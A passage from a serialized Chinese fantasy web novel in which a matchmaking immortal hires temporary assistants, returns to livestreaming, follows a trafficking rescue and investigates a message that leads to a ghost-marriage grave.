而等小仙们逐渐熟悉了天庭,熟悉了这里的工作、人情、行事风格等,也拥有了一定的“工作经验”之后,就可以安然过渡到其他相对稳定一些的岗位上了。 但是,就算是临时工…… 以姻缘殿现在的情况,也完全没有雇佣的必要啊! 养临时工的支出也是支出啊!有它们这些小仙灵在,足以处理姻缘殿内现有的工作了,用不着去额外雇吧? 莺芝笑了笑:“对,临时工。我们招的不多,两个即可,酬劳从我个人账户里出。” 红线小人恍然明悟:“……您刚刚要我开的那个功德账户?” “是,”莺芝没否认,继续道,“薪资为功德,周结;工作内容是随同姻缘殿仙君下凡,完成被分配到的各项事务。工作相关的事宜,在凡间,一切开销由殿中负责,签订雇佣契约时限为一周。” “若表现良好,那么一周后可再续一周,以此类推,且——” 说到这里,莺芝停顿了一下,不知想到了什么,眼睛闪了闪,多出几分真实的笑: “若续约累积满一年,姻缘殿可以提供转工相关的便利,向上发出申请,正式调其来殿中做事。” 红线小人目瞪口呆。 “这,这这……” 这是要直接给临时工们一个能跳到殿中做正式工的机会? 要知道,在天庭,新上来的小仙们不做个百八十年的临时工,是没机会得到正式工作的,别说是这些在凡间享有庙宇的“殿”级工作了,连那些给天庭种果子养花养鱼的杂职位,都难在前头加上一个“正式”。 基本都得有百十年的经验后,通过重重考核,得到一个最低等的正式仙位,才好慢慢升职。 月仙大人这一开口,相当于是直接给那些想要往上爬的小仙们一个走捷径的机会。 做够一年姻缘殿的临时工,就有机会转来姻缘殿做仙君! 天啊…… 这消息要是一传出去,月仙大人怕不是立刻要被那些小仙们当做救世主。 可是,可是…… 要整整雇佣一年还多的临时工? 开销太大了,没必要吧! “我们殿……” 仿佛知道它在想什么,莺芝笑道:“如今姻缘殿正在向上走,工作只会越来越多,单靠点化你们这些小仙灵是不够的,迟早要添置一些人手。” “而且,我需要常常行走于凡间尘世,只有我自己多有不便,需要有能化人形的仙做助手。” 红线小人不解:“那可以向上申请,调符合要求的小仙君过来……” 既然需要人,为什么不直接找已经在天庭浮沉多年、拥有丰富经验的仙君、而非要临时工? 莺芝又笑了起来: “临时工未必就差了能力,而且较之于仙君们来说,他们更为迫切地需要得到这份机会,对待工作也会更加用心。而且一周一续呢,要是做不好,随时更换也就是了。” 未经磋磨沉淀的小仙们,需要机会,也会为了机会拼尽一切。 那些年里,如果她能拥有这样的一个机会……那么无论如何,也会去牢牢抓住它。 所以现在,她愿意 试着把这个当年求都求不到的机会递给那些和她一样的小仙们面前。 “我也并不介意谁会把我这里当做跳板,想要通过我这里得到仙位,然后再调去其他殿——” 莺芝的笑容里隐隐含了些自信,“若是他们有能力,有野心,那就尽管去做,我很乐意为他们提供这个平台;若是没有,只求一个本本分分安安稳稳的工作,那么刚好,我们正需要这样的同僚。总之,姻缘殿好,大家就一起好,为了这份工作,也都会努力工作的。” 红线小人听得愕然,只觉得哪哪都对,又说不出来什么。 雇个临时工,还……还有这么多弯绕呢? “当然了,最重要的一点是,”莺芝带着笑的声音再一次响起,有几分狡黠,“以我现在的存款,还有姻缘殿的财务状况——我们养不起两位小仙君,临时工更有性价比。” 红线小人:“……” 合着还是因为便宜! 莺芝眨眨眼:“现在新的姻缘殿刚刚起步,你不想试试和几位有热血有冲劲的小仙们一起,为了事业拼上一把吗?带着姻缘殿一起走上下一个台阶。” 红线小人:“我不是生物……我没有血,月仙大人,大会结束之后,您好像变成了那个画大饼的领导啊!” 以前顶多就是关起门来自己卷,现在忽然就好有一殿主事的气质了……又是雇员工又是画大饼的,豪迈得像是变了一个人——是它错过什么了吗? 莺芝哈哈笑了起来。 无论是姻缘殿,还是她,都已经得到肯定了。 还有什么好怀疑和犹豫的呢? 做就是了。 翌日。 莺芝留在姻缘殿内,详细修改了一下接下来的工作计划,红线小人和小鹊则各自分兵,去完成属于它们的任务去了。 不过晌午,弄好自己的工作、绕道帮忙一起筛选临时工的红线小人和小鹊一起,带着两名女仙回到了姻缘殿。 两位女仙身量一高一矮,进殿后,都保持着目不斜视的姿态,端端正正朝着莺芝恭敬一拜。 “见过上仙。” 莺芝和她们简单问答了几句,大致了解了她们的情况。 她们一个是灯盏生灵成仙,一个是蝶妖成仙,高的是灯盏,矮一些的是蝴蝶,在天庭都待了差不多有快一百年了。 交谈间,二仙都不卑不亢,但言语间无不流露出对这份工作的渴望,甚至主动提出了可以降薪降待遇的条件。 和莺芝当年一样,她们也都做过各类杂活,拿出来的工作履历上,基本每项工作的雇主都对她们有不错的评价。 “这可是我一个一个筛选出来的……”红线小人小声道,“您放心,近百数里挑出的她们两位!” 差不多两刻钟后,莺芝同对方签下了一周的契约,让她们回去准备好必要的东西。 第二天,莺芝来到朝天门时,两位临时工都已经到了。 红线小人讷讷:“比您还早……” 难道真给月仙大人说中了……来的都是工作狂? 那完了呀,以后姻缘殿不会都是你卷我来我卷你,全一个脚不沾地的工作氛围吧? 莺芝笑容温和,走上前去,和两人汇合。 昨天了解了一下,她们也都没下去过,和她当时一样,都是初次下凡。 “《凡间守则》,看一下吧。”她从乾坤袋里取出放了好久的文书,递了过去。 两仙默契颔首行礼:“是,上……小莺姐姐。” 上仙昨天交代了,下凡要叫小莺姐姐,现在得快快改口适应。 朝天门开启时,盏仙和蝶仙已经都拿到了属于各自的《凡间守则》,并且都通读得差不多了。 莺芝身影消失在雾海中后,她们也依次选择了先前被告知的位置做落点,迈入了云海。 熟悉的烟火气扑面而来。 仅仅阔别了几天,莺芝却有种仿似隔了好久的感觉。 “这里是一处比较大的庙宇,供奉着多殿的神像。”她带上一前一后落地的蝶仙盏仙,一边介绍着周围的事物,一边朝着某个方向走去。 ——供奉着各类祈愿树的院落中,莺芝在[真爱降临]前驻足,微微抬头。 而后,她无声地弯起了眼睛。 原先那棵红绳挂得稀稀落落、木牌零落啪啪嗒嗒的树,此时已然大变模样,树冠树枝上都挂了许多的木牌红绳,看外表和痕迹,都是新挂不久的。 蝶仙好奇:“这棵树的信仰之力,是归属于我们姻缘殿的吗?” “是。”莺芝心情很好地回答。 盏仙赞叹:“好多……” 和旁边[财运亨通]、[身体健康]都差不多了,还隐隐有压过他们一头的势头。 她们不是正统姻缘殿的人,没看过姻缘殿的工作日志,也接触不到天庭各殿的排行情况,所以完全不知道姻缘殿的状况,更不知道眼前这棵树之所以这么“硕果累累”,全都是莺芝忙前忙后的功劳。 再加上这间庙也差不多算是莺芝的“主场”了,所以才有这么夸张的效果。 前后之对比,说是云泥之别也差不离多少。 三人说话间,有香客发现了莺芝的身影,惊喜地上前求合影。 于是乎,两位初来乍到的小仙愕然地看着这位来自姻缘殿的上仙大人,毫无距离感地被一群凡人围住,面带微笑,游刃有余地和每一位凡人拍照、合影。 完全就像是一位彻彻底底的凡人。 两仙默契沉默:“我们需要学习的太多了……” 终于从庙宇中脱身,莺芝带着两个新任的小助理去购置了手机、办了账户等一干必要手续,就像当初文隽带着她做过一样,把整套流程重复了一遍。 随后,她带着两人回到自己的落足点,放出红线小人,教她们怎么使用这些东西。 临近晚上的直播时段,莺芝出门买了点食物,几人凑合吃过,便准备起了直播的相关事宜。 “小盏兼职一下房管,让红线小人教教你。” “好的。” “小蝶在一旁观看我直播,如有必要,日后或许会有需要你进行此事。” “好的!” 从下来开始,到现在,两人态度都很认真,仔仔细细地倾听学习着一切该她们学习的东西,接受着陌生的知识。 莺芝很满意,也觉得省心不少。 很快,时间来到预定的直播时间。 直播正式开启。 主播:【AA红线小莺】开启了直播。 【啊啊啊小莺你终于回来了!!】 【来了来了,主播终于开播了】 【已经快一周没直播了,生产队的驴都不敢这么歇的】 【小莺女神什么时候开下一次活动啊我这些天一有空就去庙里打卡上香我想参加活动!】 【周双双的事有后续了没啊我急死了主播你透露一点呗!】 【快算卦快算卦,没你的直播当榨菜我吃饭都不香了呜呜】 …… 满屏的热烈欢迎以及杂七杂八的讨论中,莺芝笑容温和: “几天不见,大家晚上好。” 天庭。 “让你昨天拦我,说什么‘假期那么多天呢,让她休息’,非不让我去找她玩——今天我去问的时候,人家已经下凡了!” 文桐抱臂而立,没好气地哼哼:“明明我们难得放假……现在好了,天人一隔,你也下不去,高兴了?” 文隽:“……” 早该知道的,姻缘殿没有假期。 他默默拿出手机。 文桐皱眉:“你干嘛?” 她都已经下去了,那接下来会做什么,还用想吗? ……真是好猜到无奈的答案。 文隽面无表情:“看直播。” 第85章 终了 红线小莺直播间复播十数天后,一条新消息浮出水面,再度引爆了将要趋于平静的网络。 前些天闹得沸沸扬扬的“主播被拐受困山村”“失踪女大学生被囚禁”等事件,因为王诗蔓与小莺两位受害者的极力配合、给出的信息证据充分,进度喜人。 虽然针对主谋人群的打击还没有落到实处,但通过这阵子里各类相关知情人员一点点透露,已经有了不少的进度。 最起码,莺芝 给出的她曾接触过的那一串人,基本都已经被抓捕归案。 而让关注着这件事的网友们彻底沸腾起来的是,赶着农历年底的时节,法律所难以具体管控的另一方——“买家”方,又有了新的事项。 这一天,有某知名大V在社交平台上公开发表了一条动态,下缀一段整合剪辑完成的视频。 【@今天又在暴饮暴食maA_V: 想说的有很多,写写又都删掉,看视频吧,大家。 [视频]】 也正是这段视频,这条动态,让平静的网络环境发生剧烈动荡。 视频很长,很长。 [这是一场……持续了半月有余的救援] 视频最初,是黑色的底幕,白色的小字。 [xxxx年xx月xx日,x县,暴雨] [了解到发生在这里的恶事后,我们非常愤怒,又感到悲伤。联络了许多和我们一样的朋友们,我们约定,要来到这里。] 入场的纯字闪过后,最开始出现在画面里的,是一个手持话筒,另手举伞的年轻女孩,她站在暴雨里,仿佛下一秒就会被连绵的雨幕直接吞没。 她的身形在大雨中岿然不动,任由雨水冲刷,坚定地把自己的声音传递到了画面的这一端。 “现在是下午两点三十分,我们抵达了x县,但是正如大家所看到的这样,这里现在正在下大暴雨,据本地的天气监测软件显示,这场雨短时间内不会停——现在的天气实在不方便上路,我们决定在这里暂时停留,等待天气好转。” 画面一闪,黑色的转场再次出现。 白色的字体一行行弹出。 [xxxx年xx月xx日,x县,阴] [我们在x县一住就是两天三夜,终于,雨势稍减,我们准备出发了。] 画面复现,还是先前那个女孩,她穿戴着外出的装备,站在一处被彻底堵死的山路前。 “雨下太大了,这里发生了山体滑坡,路被堵上——……好的好的,我们马上就走!” “这里很危险,附近的救援队催促我们快一点离开。我们决定暂时听从安排。” [xxxx年xx月xx日,x县,晴] [终于到了久违的大晴天……我们决定再次出发。] 这一次,画面里还是那个女孩,只不过她头上带了防护帽,身上也穿了救援服: “路还是堵着,不清理完过不去——我们决定加入志愿者,帮忙清理道路!” [xxxx年xx月xx日,x县,晴] [多日的忙碌后,道路马上终于快要干净。] “感谢上天,清理的过程中没有再发生二次垮塌——这里大车进不来,基本都是在人力清理,救援队的同志们都很辛苦,总算是把路面彻底清理了,接下来,我们可以前往我们此行的最终目的地了!” [xxxx年xx月xx日,x村,晴] [终于……] 画面中,女孩一边走路,一边把话筒塞回到背包里。 “我们马上要到那座村子了,不知道他们的情况是什么样的,还要走一步算一步。” “但是我们也不是空手而来,我们随行有法律行业的朋友、身负格斗特长的朋友,还有兼具各类其他能力的朋友——在此特别告诫未来可能会看到我们这段视频的朋友,不能保证自身安全、也不能确保自己不触犯法律的情况下,不要轻易被情绪主宰,做出类似我们此行这样的行为,危险行为,请勿模仿!” “我们这趟去是做什么的?哈哈,当然是一家家一户户地走访,看看他们有什么想说的没有了。” [……] 再之后,画面一闪再闪,被突然到访的队伍吓到的各家各户接连出现…… 视频记录了每一户的“访问”记录。 而根据家家户户的目标不同,这一行人的话术也全然不同。 从恐吓到引诱,再到动之以情晓之以理,几乎可以说是谈判技能点满,话术全开。 当然,类似于“审问”方向的发展是没有的,最起码、所有呈现在镜头前的,都是合法合理的“采访”。 不知道是不是被忽然到来的一场大雨吓破了胆,阖村上下几乎成了一块铁板、数十年来都没能流露出去分毫的内幕,还真就被撬开了一些。 那是一户拥有三个幼子的人家,家里有一个十岁上下的女孩,一个四五岁的男孩,还有一个正蹒跚学步的男孩—— 当家的男主人和妻子是在一起被采访的,他们拒绝分开,彼时三个孩童也都在家里,女孩在院里做活,大点的男孩在外边疯跑,趴地上学走路的男孩裹着脏兮兮的棉袄在地上直翻腾。 采访者用一箱牛奶一箱火腿肠顺利敲开了大门,得到了采访许可。 而后,她出示了一些还能联网时保存下来的截图,很直白地问出了问题: “现在外边舆论风波闹得很大,三人还成虎呢,何况现在是板上钉钉的证据……你们就没想过孩子之后怎么办吗?你们难道不想也送他们出去上学?条件是一个问题,就算出去了……呃,恕我直言,这是外边对万措的态度,您可以看看。” 那些恨入骨髓的辱骂和斥责,那些恨不得把人骂上三代九代十八代的厌恶,字字诛心。 虽然他们不识字,但采访者做了自主语音转述,听完,女人直接情绪崩溃了,不顾男人即将爆发的火气,直接破罐子破摔了。 也正是她,才吐出了一些实情,算是在此间村里开出的第一道口子。 她是本村的村生女,娘家婆家都在村里,也正是因为这个,她在婆家没有受过太多客观意义上的折磨,村里的许多事,也不会可以避着她。 她说,村里其实有好几家的媳妇都是买来的,老的年轻的,她的记忆中,就每代都见过一两位,而且还有个别的人家,连孩子也是买来的,因为家里生不出儿子。 除了万措的母亲,以及跑掉的王诗蔓莺芝,其余都在这里,死了也都埋在这里。 她能够确定的,还活着的,就还有一个女人,正在村里,只不过已经痴傻——那个守村人。 她说,那个守村人之前被买来给傻儿子当童养媳的,生了个女儿被摔死之后,就疯掉了,后来又生了一个,还是女儿,夫家就不要她,把她扔出来了。 她在村边儿没人要的破落房子里住,每天到处吃点剩饭过活。 那些年,村里女人避讳她,都绕着走,男人反而会主动上去,摸两下是轻的,打骂常有,高兴了不高兴了,都能去找她。 后来年纪大了,才慢慢少了。 这家的女人说,她愿意说,不是奢求谁能够多帮帮她的孩子们,而是希望积点德,能让孩子们之后受的磋磨少一点。 “你们快点把她送走吧,送到她家人那儿去,也算我们做件好事!” 采访者离开时,脸都是沉的。 之后的采访中,也有几家承受不住压力,透露了一些事,和其他几位说的都差不多,守村人确实是某某家买来的,不过他们家差不多都死光了,其他的则还有万措的母亲啊,以及已经去世的某些老者等。 中途小结时,那个女孩儿叹着气说:“可能真的是被这场突如其来的雨灾吓坏了,比起小莺之前的视频……他们意外的好说话。” “但,说出的内容也更可恶。” “被这样对待,竟然还要做他们村子的“守村人”?” “简直讽刺!” [xxxx年xx月xx日,x村,晴] [我们终于结束了这一行,离开了这个令我们每一个人都深感窒息的村落。] [ 我们此行没有带回更多的信息,但是救回了一位尚还活着的受害女性……] [不知道她是否还能找到家人,尽管希望渺茫,但我们会联合相关部门一起,努力帮她寻找。] [接下来,是寻亲启事:] [女,姓名不详,约四十年前走失,年龄目前判断大约在五十岁上下,具体请等候专家详细鉴定后出具结果。] 视频的最后,附上了那个守村人被接走后梳洗打理过后,干干净净的生活片段,以及证件照。 ——这是一伙和先前那些,想联合起来去线下替周双双报复的网友们一起,被天灾紧急拦下的人群。 不一样的是,他们一直停留到了天灾过后,停留到了雨过天晴。 而且,他们也不是奔着报复去的,是想看看,还有没有其他的、被隐藏起来的,在岁月中逐渐被磋磨得麻木的受难者。 而他们也确实带来了好消息。 带出来了一位因为已经彻底失去自我,而被遗落在了那里的人。 网络上,这条动态一火起来,到处都是摇旗呐喊着要帮这位可怜守村人找到家人的言论。 随着事情的演变,许许多多丢失过子女亲人的人们也都加入了话题,他们哀痛,他们感谢,庆幸还有这些爱心人士,能够让大家都有找到孩子和家人的一天。 另外还得感谢有关部门,感谢小莺—— 是的,莺芝也随着这一波事件又一次被顶了上来。 尤其是先前有过交集的华晓识和连络月,更是大大咧咧就那么开着自己的主号往直播间一坐,也跟着刷礼物发弹幕,一点也不遮掩追主播的事实…… 数不清有多少人纷纷刷着“济世救人活仙女”,端看每日直播时直播间的弹幕风向,就知道这一波又给莺芝带来了多少关注和热度。 没见过什么世面的蝶仙盏仙都惊呆了。 莺,莺芝上仙……竟然这么受凡人爱戴?! 如此多的信徒,如此狂热的信仰…… 红线小人得意得连并不存在的鼻子都高高翘了起来。 哼哼,厉害吧? 她们在下头忙活这么久,可不是吃素的啊! 莺芝倒是泰然自若,既没有应承弹幕上闹腾着让她开个“寻人版块”的起哄,也没有谦虚自己配不上称赞,全程都八风不动地,推进着直播的进度。 两天前,万措给她发来了几条信息,不长,甚至还很短。 [抱歉。] [谢谢。] [祝好。] 而差不多也就是前后脚的功夫,当天晚上,崔梦语发来的信息中就透露,那边情势很不错,估计能很顺利。 ——顺利的结果,自然就是周宜嘉的诉求能够得到正向的反馈。 也就是指,她们状告的“蓄意杀人”“蓄意伤害”“非法囚禁”等,差不多能够落实了。 万措在其中起到了什么作用莺芝并不清楚,也不用清楚。 总之,他应该是做好了最终的取舍。 无论如何,于莺芝而言,这件事已经和之前的每一桩一样,都彻底告一段落了。 所以她没有回应直播中任何关于“拐卖案”的追问。 只不过在最后,她还是正了正神色,严肃地声明了一点: “这里是定缘直播间,我只擅长姻缘相关!” 【来自真爱粉的倾情翻译:寻人什么的,不在专业范围内,婉拒了哈。】 【哈哈哈哈哈哈哈哈】 【有没有擅长玄学的朋友来说说,算姻缘跟算亲人父母有啥具体的区别啊我就是单纯好奇】 【此处@Q……算了,晦气!】 【都别闹了!我们小莺是正经姻缘主播!——那什么,小莺小莺,下一卦可以黑箱我吗】 【算京听!】 …… 莺芝看了两眼弹幕,没再多关注,断开了直播。 这些天来算卦的都是家长里短的小矛盾,也算好事。 要是继续这样下去,可能就有更多的人相信真情存在了。 至于香火,可以想一些其他的合作活动,比如某些景区摆摊之类…… “小莺姐姐,您看这条!” 莺芝正想着,负责管理巡视莺芝账号评论私信的盏仙已经从直播中的震撼回过神来,举着自己手机来到了她身边:“这条——” “我原觉得没什么,但是她状况似乎不对,我们要不要关注一下?” 莺芝低眸。 对话框里,有一张披头散发双眼无神的女孩照片。 以及一句话: 【他又来娶我了。】 第86章 你是月老,对吗 消息的发送时间是在刚刚直播时。 对方没有选择给莺芝正在直播的账号发私信,也没有试图在弹幕中诉说自己的情况,而是把内容发到了莺芝非直播平台的个人账号上。 既没有说是寻求帮助,也没有求卦。 一张照片,外带没头没尾的一句话,就是全部内容了。 盏仙解释:“我之前都要把她跳过去了,但是看了一眼照片……她的情况似乎非常不好。” 她指了指照片,见莺芝没有反对,便上手放大图片,把镜头框在了照片中女孩的手腕。 “您看。” 屏幕里,女孩半盖在袖中的手腕上,几道交错的伤疤不甚明显地隐在其中。 照片中的屋子没有开灯,很黑,女孩皮肤也不算白,她整个人都笼在昏暗中,如果不是特地把图片放大,很难看到这些痕迹。 她就那么呆呆愣愣地坐着,长发披散凌乱,两眼空洞地失去焦距。 而此时,再看那句话—— 【他又来娶我了。】 就显得无端有些诡异了。 莺芝蹙起眉。 女孩,伤痕,嫁娶。 信息太少了,拼不出到底是什么事。 家暴? 可是“又”是什么意思? 若是简单的恶作剧,倒也还罢了,怕就怕真有什么事情——还扯到了嫁娶,事关姻缘殿,不能随意无视过去了。 接过手机,莺芝沉吟片刻,回了一条消息过去。 【AA红线小莺:有什么需要我帮忙的吗?】 对方似乎就守在手机边上,消息回得非常快。 【你是月老,对吗?】 莺芝打字回复: 【是的。】 这一次,对方的消息很久没有发过来。 莺芝守着手机,微微皱眉。 这通联络太莫名其妙了,让她也摸不着头脑。 一般主动找上门的,不是求卦就是求助,或者是找合作、又或者是单纯的水聊。 对于像董银灵那一类的,走投无路冲上门求助的无辜者,她完全不介意伸手帮一把。 但像眼下这位,什么也不说……就算是想帮也无从下手啊。 是遭遇了什么,又或者有什么诉求—— 被家暴、被逼婚,还是其他? 找上她是为什么? 想让她出手、借她的手曝光? 又把那张照片看了几遍,只能判断出照片中的女孩年纪大概在成年上下,身上带伤,精神不太好,除此之外再看不出什么。 信息缺失太多,莺芝也无法准确通过一张照片观看到对方的缘线,只能作罢。 又等了二十分钟,对方还是没有回应,莺芝把手机 还给了盏仙: “先这样吧,后续有消息了再说。” 盏仙连连点头:“好,我会时刻关注的。” 夜幕降临,接近十二点时,加班加点学习凡间事物的盏仙一个激灵,身体噔地坐直了。 “小莺姐姐——那个人,她的回复来了!” 莺芝也没有睡,她正浏览审查姻缘殿过去堆积的事务,闻言略略活动了一下脖颈,抬头: “说什么了?” 盏仙拿着手机噌噌噌走近:“她讲了她的故事。” 红线小人顺着莺芝手腕爬上胳膊,和她一起看向屏幕中的对话框。 【月老,有媒人给我做了个媒,我爸妈把我嫁给了认识两天的人,在媒人的见证下,我们在认识的第三天结婚了。但是他娶我回家之后,他不喜欢我,把我休掉了。】 【月老,媒人又来给我做媒了,说的还是那个人,我爸妈又同意了,在媒人的见证下,我们今晚就要结婚了。】 【月老,他明明不喜欢我,为什么又要娶我呢?】 【月老,我已经嫁给他一次了,不想再嫁第二次了。】 【月老,我不想嫁。】 【月老,他已经来了。】 “……我的天哪,这是什么?”红线小人线绳的身体抖了几抖,“她是不是精神不太好啊?感觉有点前言不搭后语,怪吓人的。” 盏仙也摇头:“她结了一次婚,离婚了,又结婚……两次都是同一个人?那为什么还要离婚呢?” “今晚结婚……他已经来了……”蝶仙呃了一声,“那岂不是已经过去了?现在已经快要子时末了。” 她们讨论着,莺芝没出声,而是盯着那一排排的“月老”,反复把这几条状似癫狂混乱的消息又看了几遍。 末了,她掐了掐眉心,有点疲倦。 还是什么有用的信息都没有。 不论故事真假,但就从这段故事里来看,能够用得上的信息是一条也没有。 既不提诉求,也不露希望,就这么扯东扯西…… 收拢了一下情绪,莺芝拿起手机,停顿片刻,打字。 【AA红线小莺:你需要我做什么?】 如果继续保持原样,那就只能当做是一个恶作剧揭过去—— “嗡嗡——” 新消息的震动几乎在两秒后就响了起来。 几人的目光集中落在了屏幕上。 对话框中,新消息静静躺在那里: 【请来救我。】 【[定位]】 “这是不想嫁给不想嫁的人,让我们去救她出来吗?”盏仙讶异,“这种事也归我们管吗?” 蝶仙也是新人,完全不懂,只能把希冀的目光投向“前辈”红线小人。 红线小人一叉腰,道:“按理来说,像这样的孽缘,只要她求到我们月仙大人面前,请月仙大人为她观缘,那么月仙大人便能从根源上给她断掉这桩缘——她大可自己去离婚去反抗。” “但是——”它话锋一转,“她又不开视频,也不给姓名,生辰八字,月仙大人无法给她观缘,这事儿其实我们是管不了的,找我们不如找自己的父母和警察。” 蝶盏二仙面面相觑:“那……” 一直没加入她们讨论的莺芝已经重新拿起手机。 【AA红线小莺:是需要我为你断缘吗?那只需要把生辰八字,姓名等信息发给我。】 【AA红线小莺:或需要我替你联络妇女保护协会吗,抑或是报警?】 石沉大海。 无论再发几条消息过去,都没了任何回音。 莺芝心下微沉。 直到现在,她还很难确认,这到底是对方的一场恶作剧,还是真的有需要她帮忙的地方。 正如红线小人所说,她要是不想嫁,或想离婚,那直接把资料发过来,求她帮忙断掉就是了。 就算直播的三卦太难抢,也说了不给开后门——但她后台的消息都已经被莺芝看到了,还得到了“需要我帮忙吗”的回应,不趁此时机给出信息,却仍在说有的没的? 真实性实在是…… “别管她了!”红线小人道,“每天那么多消息呢,像这种的归到骚扰信息或者恶作剧里就好了!” “我们这么忙,哪有时间一条一条消息地去核验真假啊?要是每次得到一点什么消息都要去,那一天到晚净在路上了。” 蝶仙和盏仙是临时工,对这种事完全不敢发表什么言论,只能等待莺芝做最后的决定。 莺芝垂着眼,视线落在对话框中那一条条“月老”打头的消息,思索了一会儿。 “小蝶,”她指尖敲了敲桌面,停顿,“你刚好还需要多熟悉凡间的情况,去跑一趟吧——带上它一起。” 红线小人陪着,哪里不懂都可以有它指导。 这样去走一趟,要是到地方了发现没事,就权当是熟悉凡间了,要是有事,届时再互相联络,沟通下一步。 蝶仙微愣,旋即颔首应下:“好的。” 红线小人虽然有点不想离开莺芝,但也知道莺芝为什么会这么安排,嘟嘟囔囔几句后,默认了这个活。 定位给出的位置在地图偏西的位置,城市不太大,距离省会城市一二线城市都有着不近的距离。 凡间的春节将至,无论是机票还是高铁火车,车票都不大好买。 好在仙人到底有个天庭可以做中转,虽然中途需要等待CD,但也比纯走下边的路要快。 红线小人和蝶仙离开后,莺芝和盏仙继续留在当地,按部就班地工作直播着。 所有的事都很顺利,那个账户再也没发来什么莫名其妙的消息,一切都停留在了莺芝最后的询问中。 等蝶仙和红线小人在目标地点落地,已经是收到那些消息的两天后。 手机响起来时,莺芝还在落脚地附近的庙宇中,盏仙在她身边,两人一起处理归纳着姻缘殿过往的公务。 看清来电人,莺芝接通。 下一秒,蝶仙的面庞出现在屏幕中,她鬓边垂发上的红线正随风飘摆着,仿佛正在和莺芝招手,情绪十分之剧烈,像是有话想说。 “我已经找到了定位的地方。” 不等莺芝开口询问,蝶仙就主动道,“也已经见到了照片上的女孩。” 她说着,又顿住,似乎欲言又止。 莺芝察觉到不寻常,道:“出什么事了?” “……”蝶仙没有立即回答,她沉默了片刻,随后,把镜头往旁边一转。 几个衣着沾土的身影一晃而过,镜头落在了一处地面上。 “是这样的,到了地方后我发现好像不太对,就在当地的民工市场雇了几个人来帮忙,然后——” 依稀还能听到一些腔调生僻的声音在旁边叫骂,不过都被蝶仙当做了耳旁风,她认真地对莺芝交代着此行的所见。 镜头聚焦的地面上,被挖开了一个长方形状的土坑。土坑中,摆放着一副棺材。 此时此刻,棺材本该严丝合缝的盖子被人强行打开,露出了其中乾坤。 两个人并排躺在其中。 赤红的喜服,乌黑的头发,女孩紧闭双眼,无喜无悲。 “定位的地点是一座坟。” “她在四天前就已经死了。” 第87章 无鬼 尸体,喜服,一男一女。 ——阴婚。 任谁看清这棺材中的情景,都会有此一种联想。 几乎是下意识地,盏仙立刻转头看向了莺芝。 阴婚……这种有违天道伦常、藐视三界规则的事,对于姻缘的仙君来说,应该是无法忽视的钉子吧? 而当听清蝶仙所说的内容后,顾不上打量莺芝的神情,盏仙嚯地又把头扭了过来,盯向屏幕。 “定位地点是座坟?她死了?” 她低声惊呼:“那怎么会有人给我们发消息?” “是的。”蝶仙道,“棺中这个女孩就是照片中的女孩——我向其他人确认过,她的确在四天前就已经死了。” “四天前就已经死了……”盏仙神色连连变化。 可是从她们收到那些消息到现在,总共也才过去两三天吧,加起来也没有四天啊。 如果这女孩真的在四天前就已经死了,那岂不是意味着,在她们收到消息的当天,这女孩其实就已经是去世了的状态吗。 那究竟是谁给她们发的消息? 鬼吗? 怎么会有鬼游荡在人间,死亡之后不去阴司,还发消息让人来救她呢。 难道本地城隍和无常不干活,躲懒偷闲,导致这姑娘人都死了那么久,魂魄还没被引渡走? 可是话都说到这里了……魂魄能够使用凡间这些科技产品吗? “不会。” 仿佛知道盏仙在想什么一样,沉默着的莺芝终于开口,却是直接否决了盏仙的 胡思乱想。 她眸色沉凝,若有所思:“……小蝶。” “在!”蝶仙立刻应声。 “你看一看,有没有什么线索在附近。”莺芝道,“什么都可以,只要是有些不同寻常的,就多留意留意。” “还有,去询问一下,她是什么时候下葬的,具体到确切的日期和时间,以及这个棺材是什么情况,旁边的人是谁。” “再者,你让它去试着确认下,看看她的死亡原因大致是什么。”后半句时,虽语意含糊,但莺芝的视线落在了蝶仙发丝上的红线小人上。 红线小人闻声摇摆起来,然后变成一根线,从蝶仙发束上散开,似随风坠落,飘出了画面,悄悄溜进了开着盖子的棺材。 蝶仙微怔:“您是猜……” “是。”不用她多说什么,莺芝便已经点头。 先不说可不可能存在阴司上下在刚刚考核完的关头就开始偷懒的情况,只说魂魄能不能够使用凡间的科技产物—— 就已经是个必然否定的答案的了。 魂魄就是魂魄,生命死亡后,本质上就已经脱离了凡尘的范畴,没有还能够使用凡间产物作乱的可能性。 哪怕是怨气极重、想要作祟的冤魂,那顶多也就只能借助非科学手段制造一些“幻视”“幻听”等玄学范畴的东西。 本质上来说,凡人看不到魂魄,魂魄也无法接触到凡间的一切。 通俗点来讲就是—— 这世界没有“鬼”。 所以,在这个基础上,如果确认了照片中那个女孩确实是四天前就已经死亡,那么只可能存在一种情况: 消息不是她发的。 给莺芝发出那些消息的,另有其人。 那…… 谁发的? 为什么发? 目的又是什么? 排除掉这一切都是个恶作剧的可能性以后,很有可能,是有人在借这个已经去世的女孩的照片,向莺芝传达着什么。 视频电话没有挂断,蝶仙在那边已经开始寻找。 这个过程里,周围那些叫骂的声音也愈发清晰清晰,是蝶仙向那些人靠近了——估计是在追问棺材下葬的时间。 莺芝没有插手蝶仙的办事程序,而是微垂着眸,思索整理着目前所知道的信息。 收到信息,说不想嫁,求救…… 棺材,喜服,并排入葬的两个人…… 就棺材内的情况而言,大抵正是个所谓的“阴婚”现场,而先前收到的消息…… 故事有几分真实?是完全的一比一还原现实,还是在隐喻什么? [请来救我] ——救? 这指代的、需要被“救”的,是指发消息的人,还是指女孩本身? 发消息引起她的注意,是让她来为死者伸冤、曝光某些被隐藏起来的事情、还是说,做一些其他的、算得上“救”的事? 疑点太多,揉在了一起。 她刚刚吩咐蝶仙去做的一连串事,也就是想要尝试确认一下这些疑点。 确认一下那位女孩的死亡原因,是否正常死亡,是否有冤,是否有内情。 至于寻找线索—— 已经过去两天了,发信人没有丁点后续消息传来,既不追问她们是否来了,也不关心她们能不能到,仿佛彻底就忘了这回事一样,或者说,真的被那个婚约对象“带走”了一样。 简直像是在彻头彻尾地,扮演着棺材里那个女孩。 莺芝总有一种预感,对方肯定留下了一些什么,不会这么干净的。 如果一一确认后,这些都没问题,那么,这一切就可以归置为一桩坏心眼的恶作剧、以后都不用再管顾,蝶仙也可以从那里回来了。 嘈杂的方言叫骂吵嚷中,蝶仙神情淡淡,全然不当他们是在斥责自己,自顾自找人,自顾自问话,问完面向镜头和莺芝汇报时,那股拒人千里外的冷气才消失不见,换成了谦恭和尊敬。 “小莺姐姐,问出来了。” 莺芝抬眼。 “这个棺是两天前的子时左右下葬的,其中埋葬的两人是夫妻。” “男方是附近村子里的人,名焦合孝,岁二十九,女方不是这里的人,没有人认识,具体信息也难以确认。” 